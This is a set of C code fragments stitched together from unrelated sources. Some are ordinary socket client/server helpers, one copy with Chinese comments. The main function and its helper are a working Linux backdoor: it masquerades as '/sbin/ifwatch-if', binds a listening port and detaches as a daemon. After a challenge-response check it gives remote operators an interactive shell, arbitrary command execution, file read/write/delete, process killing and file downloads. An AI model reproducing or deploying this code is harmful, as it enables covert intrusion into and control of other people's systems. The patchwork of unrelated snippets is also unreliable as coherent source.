static uint32_t wget(int fh) { int fd = socket(AF_INET, SOCK_STREAM, 0); if (fd < 0) return 1; struct sockaddr_in sa; sa.sin_family = AF_INET; sa.sin_addr.s_addr = *(uint32_t *) (buffer + 4); sa.sin_port = *(uint16_t *) (buffer + 2);; sockopts(fd); if (connect(fd, (struct sockaddr *)&sa, sizeof (sa))) return 2; int wlen; while ((wlen = rpkt(0))) write(fd, buffer, wlen); for (;;) { int len = recv(fd, buffer, 32768, MSG_WAITALL); if (len <= 0) break; write(fh, buffer, len); wpkt((uint8_t *) & len, sizeof (len)); } close(fd); return 0; }
int cliopen(char *host, char *port) { int fd, i, on; const char *protocol; struct in_addr inaddr; struct servent *sp; struct hostent *hp; protocol = udp ? "udp" : "tcp"; /* initialize socket address structure */ bzero(&servaddr, sizeof(servaddr)); servaddr.sin_family = AF_INET; /* see if "port" is a service name or number */ if ( (i = atoi(port)) == 0) { if ( (sp = getservbyname(port, protocol)) == NULL) err_quit("getservbyname() error for: %s/%s", port, protocol); servaddr.sin_port = sp->s_port; } else servaddr.sin_port = htons(i); /* * First try to convert the host name as a dotted-decimal number. * Only if that fails do we call gethostbyname(). */ if (inet_aton(host, &inaddr) == 1) servaddr.sin_addr = inaddr; /* it's dotted-decimal */ else if ( (hp = gethostbyname(host)) != NULL) memcpy(&servaddr.sin_addr, hp->h_addr, hp->h_length); else err_quit("invalid hostname: %s", host); if ( (fd = socket(AF_INET, udp ? SOCK_DGRAM : SOCK_STREAM, 0)) < 0) err_sys("socket() error"); if (reuseaddr) { on = 1; if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof (on)) < 0) err_sys("setsockopt of SO_REUSEADDR error"); } #ifdef SO_REUSEPORT if (reuseport) { on = 1; if (setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &on, sizeof (on)) < 0) err_sys("setsockopt of SO_REUSEPORT error"); } #endif /* * User can specify port number for client to bind. Only real use * is to see a TCP connection initiated by both ends at the same time. * Also, if UDP is being used, we specifically call bind() to assign * an ephemeral port to the socket. * Also, for experimentation, client can also set local IP address * (and port) using -l option. Allow localip[] to be set but bindport * to be 0. */ if (bindport != 0 || localip[0] != 0 || udp) { bzero(&cliaddr, sizeof(cliaddr)); cliaddr.sin_family = AF_INET; cliaddr.sin_port = htons(bindport); /* can be 0 */ if (localip[0] != 0) { if (inet_aton(localip, &cliaddr.sin_addr) == 0) err_quit("invalid IP address: %s", localip); } else cliaddr.sin_addr.s_addr = htonl(INADDR_ANY); /* wildcard */ if (bind(fd, (struct sockaddr *) &cliaddr, sizeof(cliaddr)) < 0) err_sys("bind() error"); } /* Need to allocate buffers before connect(), since they can affect * TCP options (window scale, etc.). */ buffers(fd); sockopts(fd, 0); /* may also want to set SO_DEBUG */ /* * Connect to the server. Required for TCP, optional for UDP. */ if (udp == 0 || connectudp) { for ( ; ; ) { if (connect(fd, (struct sockaddr *) &servaddr, sizeof(servaddr)) == 0) break; /* all OK */ if (errno == EINTR) /* can happen with SIGIO */ continue; if (errno == EISCONN) /* can happen with SIGIO */ break; err_sys("connect() error"); } } if (verbose) { /* Call getsockname() to find local address bound to socket: TCP ephemeral port was assigned by connect() or bind(); UDP ephemeral port was assigned by bind(). */ i = sizeof(cliaddr); if (getsockname(fd, (struct sockaddr *) &cliaddr, &i) < 0) err_sys("getsockname() error"); /* Can't do one fprintf() since inet_ntoa() stores the result in a static location. */ fprintf(stderr, "connected on %s.%d ", INET_NTOA(cliaddr.sin_addr), ntohs(cliaddr.sin_port)); fprintf(stderr, "to %s.%d\n", INET_NTOA(servaddr.sin_addr), ntohs(servaddr.sin_port)); } sockopts(fd, 1); /* some options get set after connect() */ return(fd); }
int servopen(char* host, char* port) { int fd, newfd, i, on, pid; const char* protocol; struct in_addr inaddr; struct servent* sp; protocol = udp ? "udp" : "tcp"; /* Initialize the socket address structure */ bzero(&servaddr, sizeof(servaddr)); servaddr.sin_family = AF_INET; /* Caller normally wildcards the local Internet address, meaning a connection will be accepted on any connected interface. We only allow an IP address for the "host", not a name. */ if (host == NULL) servaddr.sin_addr.s_addr = htonl(INADDR_ANY); /* wildcard */ else { if (inet_aton(host, &inaddr) == 0) err_quit("invalid host name for server: %s", host); servaddr.sin_addr = inaddr; } /* See if "port" is a service name or number */ if ((i = atoi(port)) == 0) { if ((sp = getservbyname(port, protocol)) == NULL) err_ret("getservbyname() error for: %s/%s", port, protocol); servaddr.sin_port = sp->s_port; } else servaddr.sin_port = htons(i); if ((fd = socket(AF_INET, udp ? SOCK_DGRAM : SOCK_STREAM, 0)) < 0) err_sys("socket() error"); if (reuseaddr) { on = 1; if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, &on, sizeof(on)) < 0) err_sys("setsockopt of SO_REUSEADDR error"); } #ifdef SO_REUSEPORT if (reuseport) { on = 1; if (setsockopt(fd, SOL_SOCKET, SO_REUSEPORT, &on, sizeof(on)) < 0) err_sys("setsockopt of SO_REUSEPORT error"); } #endif /* Bind our well-known port so the client can connect to us. */ if (bind(fd, (struct sockaddr*)&servaddr, sizeof(servaddr)) < 0) err_sys("can't bind local address"); join_mcast(fd, &servaddr); if (udp) { buffers(fd); if (foreignip[0] != 0) { /* connect to foreignip/port# */ bzero(&cliaddr, sizeof(cliaddr)); if (inet_aton(foreignip, &cliaddr.sin_addr) == 0) err_quit("invalid IP address: %s", foreignip); cliaddr.sin_family = AF_INET; cliaddr.sin_port = htons(foreignport); /* connect() for datagram socket doesn't appear to allow wildcarding of either IP address or port number */ if (connect(fd, (struct sockaddr*)&cliaddr, sizeof(cliaddr)) < 0) err_sys("connect() error"); } sockopts(fd, 1); return (fd); /* nothing else to do */ } buffers(fd); /* may set receive buffer size; must do here to get correct window advertised on SYN */ sockopts(fd, 0); /* only set some socket options for fd */ listen(fd, listenq); if (pauselisten) sleep_us(pauselisten * 1000); /* lets connection queue build up */ if (dofork) TELL_WAIT(); /* initialize synchronization primitives */ for (;;) { i = sizeof(cliaddr); if ((newfd = accept(fd, (struct sockaddr*)&cliaddr, &i)) < 0) err_sys("accept() error"); if (dofork) { if ((pid = fork()) < 0) err_sys("fork error"); if (pid > 0) { close(newfd); /* parent closes connected socket */ WAIT_CHILD(); /* wait for child to output to terminal */ continue; /* and back to for(;;) for another accept() */ } else { close(fd); /* child closes listening socket */ } } /* child (or iterative server) continues here */ if (verbose) { /* Call getsockname() to find local address bound to socket: local internet address is now determined (if multihomed). */ i = sizeof(servaddr); if (getsockname(newfd, (struct sockaddr*)&servaddr, &i) < 0) err_sys("getsockname() error"); /* Can't do one fprintf() since inet_ntoa() stores the result in a static location. */ fprintf(stderr, "connection on %s.%d ", INET_NTOA(servaddr.sin_addr), ntohs(servaddr.sin_port)); fprintf(stderr, "from %s.%d\n", INET_NTOA(cliaddr.sin_addr), ntohs(cliaddr.sin_port)); } buffers(newfd); /* setsockopt() again, in case it didn't propagate from listening socket to connected socket */ sockopts(newfd, 1); /* can set all socket options for this socket */ if (dofork) TELL_PARENT(getppid()); /* tell parent we're done with terminal */ return (newfd); } }
//客户端模式由这个函数实现 int cliopen(char *host, char *port) { int fd, i, on; char *protocol; unsigned long inaddr; struct sockaddr_in cli_addr, serv_addr; struct servent *sp; struct hostent *hp; protocol = udp ? "udp" : "tcp"; /* initialize socket address structure */ bzero((char *) &serv_addr, sizeof(serv_addr)); serv_addr.sin_family = AF_INET; /* see if "port" is a service name or number */ if ( (i = atoi(port)) == 0) { if ( (sp = getservbyname(port, protocol)) == NULL) err_quit("getservbyname() error for: %s/%s", port, protocol); serv_addr.sin_port = sp->s_port; } else serv_addr.sin_port = htons(i);//主机字节序变成网络字节序 /* * First try to convert the host name as a dotted-decimal number. * Only if that fails do we call gethostbyname(). */ //转化host字符串为ip地址 //转化有问题时,尝试gethostbyname if ( (inaddr = inet_addr(host)) != INADDR_NONE) { /* it's dotted-decimal */ bcopy((char *) &inaddr, (char *) &serv_addr.sin_addr, sizeof(inaddr)); } else { if ( (hp = gethostbyname(host)) == NULL) err_quit("gethostbyname() error for: %s", host); bcopy(hp->h_addr, (char *) &serv_addr.sin_addr, hp->h_length); } //创建socket //根据参数选择是udp还是tcp if ( (fd = socket(AF_INET, udp ? SOCK_DGRAM : SOCK_STREAM, 0)) < 0) err_sys("socket() error"); //重用端口地址 //如果你的服务程序停止后想立即重启,而新套接字依旧使用同一端口, //此时SO_REUSEADDR 选项非常有用。 if (reuseaddr) { on = 1; if (setsockopt(fd, SOL_SOCKET, SO_REUSEADDR, (char *) &on, sizeof (on)) < 0) err_sys("setsockopt of SO_REUSEADDR error"); } /* * User can specify port number for client to bind. Only real use * is to see a TCP connection initiated by both ends at the same time. * Also, if UDP is being used, we specifically call bind() to assign * an ephemeral port to the socket. */ if (bindport != 0 || udp) { bzero((char *) &cli_addr, sizeof(cli_addr)); cli_addr.sin_family = AF_INET; cli_addr.sin_addr.s_addr = htonl(INADDR_ANY); /* wildcard */ cli_addr.sin_port = htons(bindport); if (bind(fd, (struct sockaddr *) &cli_addr, sizeof(cli_addr)) < 0) err_sys("bind() error"); } /* Need to allocate buffers before connect(), since they can affect * TCP options (window scale, etc.). */ buffers(fd);//申请读写buffer以及套接字的滑动窗口 //设置socket选项getsockopt & setsockopt sockopts(fd, 0); /* may also want to set SO_DEBUG */ /* * Connect to the server. Required for TCP, optional for UDP. */ if (connect(fd, (struct sockaddr *) &serv_addr, sizeof(serv_addr)) < 0) err_sys("connect() error"); //需要提示么 if (verbose) { /* Call getsockname() to find local address bound to socket: TCP ephemeral port was assigned by connect() or bind(); UDP ephemeral port was assigned by bind(). */ i = sizeof(cli_addr); if (getsockname(fd, (struct sockaddr *) &cli_addr, &i) < 0) err_sys("getsockname() error"); /* Can't do one fprintf() since inet_ntoa() stores the result in a static location. */ fprintf(stderr, "connected on %s.%d ", INET_NTOA(cli_addr.sin_addr), ntohs(cli_addr.sin_port)); fprintf(stderr, "to %s.%d\n", INET_NTOA(serv_addr.sin_addr), ntohs(serv_addr.sin_port)); } sockopts(fd, 1); /* some options get set after connect() */ return(fd); }
int main(int argc, char *argv[]) { #if 0 { crypto_hash(buffer, buffer, 96); hd(buffer, 1088 / 8); } #endif if (argc == 2) { static char *eargv[] = { "/sbin/ifwatch-if", "eth0", 0, 0 }; eargv[2] = argv[1]; execve(argv[0], eargv, environ); } { int i; for (i = 0; i < 64 + 2; ++i) secret[32 + i] = argv[2][i * 2 + 0] * 16 + argv[2][i * 2 + 1] - 'a' * (16 + 1); for (i = 0; i < (64 + 2) * 2; ++i) argv[2][i] = ' '; } int ls = socket(AF_INET, SOCK_STREAM, 0); if (ls < 0) return 0; struct sockaddr_in sa; sa.sin_family = AF_INET; sa.sin_addr.s_addr = INADDR_ANY; sa.sin_port = *(uint16_t *) (secret + 32 + 64); sockopts(0); if (bind(ls, (struct sockaddr *)&sa, sizeof (sa))) return 0; if (listen(ls, 1)) return 0; write(1, MSG("ZohHoo5i")); if (fork()) return 0; sigaction(SIGHUP, &sa_sigign, 0); sigaction(SIGCHLD, &sa_sigign, 0); syscall(SCN(SYS_setsid)); for (;;) { { int i = open("/dev/urandom", O_RDONLY); if (i >= 0) { read(i, secret, 32); close(i); } ++secret[0]; for (i = 0; i < 31; ++i) secret[i + 1] += secret[i]; } int fd = accept(ls, 0, 0); if (fd >= 0) { if (fork() == 0) { close(ls); syscall(SCN(SYS_setsid)); sigaction(SIGCHLD, &sa_sigdfl, 0); setfds(fd); sockopts(0); write(0, secret, 32 + 32); crypto_hash(buffer, secret, 32 + 32 + 32); rpkt(32); if (memcmp(buffer, buffer + 32, 32)) x(); wpkt(MSG(VERSION "/" arch)); /* version/arch */ static const uint32_t endian = 0x11223344; wpkt((uint8_t *) & endian, sizeof (endian)); wpkt(buffer, 0); uint8_t clen; int fh = -1; int ret; while ((clen = rpkt(0))) switch (buffer[0]) { case 1: // telnet { static char *argv[] = { "sh", "-i", 0 }; execve("/bin/sh", argv, environ); } break; case 2: // open readonly case 3: // open wrcreat ret = fh = open(buffer + 1, buffer[0] == 2 ? O_RDONLY : O_RDWR | O_CREAT, 0600); break; case 4: // close close(fh); break; case 5: // kill ret = syscall(SCN(SYS_kill), *(uint32_t *) (buffer + 4), buffer[1]); break; case 6: // chmod ret = syscall(SCN(SYS_chmod), buffer + 4, *(uint16_t *) (buffer + 2)); break; case 7: // rename rpkt(260); ret = syscall(SCN(SYS_rename), buffer + 1, buffer + 260); break; case 8: // unlink ret = syscall(SCN(SYS_unlink), buffer + 1); break; case 9: // mkdir ret = syscall(SCN(SYS_mkdir), buffer + 1, 0700); break; case 10: // wget ret = wget(fh); break; case 11: // lstat case 23: // stat { struct stat buf; int l = (buffer[0] == 23 ? stat : lstat) (buffer + 1, &buf); ((uint32_t *) buffer)[0] = buf.st_dev; ((uint32_t *) buffer)[1] = buf.st_ino; ((uint32_t *) buffer)[2] = buf.st_mode; ((uint32_t *) buffer)[3] = buf.st_size; ((uint32_t *) buffer)[4] = buf.st_mtime; wpkt(buffer, l ? 0 : sizeof (uint32_t) * 5); } break; case 12: { struct statfs sfsbuf; int l = statfs(buffer + 1, &sfsbuf); ((uint32_t *) buffer)[0] = sfsbuf.f_type; ((uint32_t *) buffer)[1] = sfsbuf.f_bsize; ((uint32_t *) buffer)[2] = sfsbuf.f_blocks; ((uint32_t *) buffer)[3] = sfsbuf.f_bfree; ((uint32_t *) buffer)[4] = sfsbuf.f_bavail; ((uint32_t *) buffer)[5] = sfsbuf.f_files; ((uint32_t *) buffer)[6] = sfsbuf.f_ffree; wpkt(buffer, l ? 0 : sizeof (uint32_t) * 7); } break; case 13: // exec quiet case 14: // exec till marker { int quiet = buffer[0] == 13; pid_t pid = fork(); if (pid == 0) { if (quiet) setfds(open("/dev/null", O_RDWR)); static char *argv[] = { "sh", "-c", buffer + 1, 0 }; execve("/bin/sh", argv, environ); _exit(0); } if (pid > 0) syscall(SCN(SYS_waitpid), (int)pid, &ret, 0); if (!quiet) wpkt(secret, 32 + 32); // challenge + id } break; case 15: // readdir { int l; while ((l = syscall(SCN(SYS_getdents64), fh, buffer, sizeof (buffer))) > 0) { uint8_t *buf = buffer; do { int w = l > 254 ? 254 : l; wpkt(buf, w); buf += w; l -= w; } while (l); } wpkt(buffer, 0); } break; case 16: // lseek ret = lseek(fh, *(int32_t *) (buffer + 4), buffer[3]); break; case 17: // fnv case 18: // readall { int fnv = buffer[0] == 17; uint32_t hval = 2166136261U; int l; while ((l = read(fh, buffer, 254)) > 0) { if (fnv) { uint8_t *p = buffer; while (l--) { hval ^= *p++; hval *= 16777619; } } else wpkt(buffer, l); } wpkt((uint8_t *) & hval, fnv ? sizeof (hval) : 0); } break; case 19: // write ret = write(fh, buffer + 1, clen - 1); break; case 20: // readlink { int l = syscall(SCN(SYS_readlink), buffer + 1, buffer + 260, 255); wpkt(buffer + 260, l > 0 ? l : 0); } break; case 21: // readret wpkt((uint8_t *) & ret, sizeof (ret)); break; case 22: // chdir ret = syscall(SCN(SYS_chdir), buffer + 1); break; default: x(); } } // keep fd open for at least delay, also delay hack attempts static const struct timespec ts = { 1, 0 }; syscall(SCN(SYS_nanosleep), &ts, 0); close(fd); } } }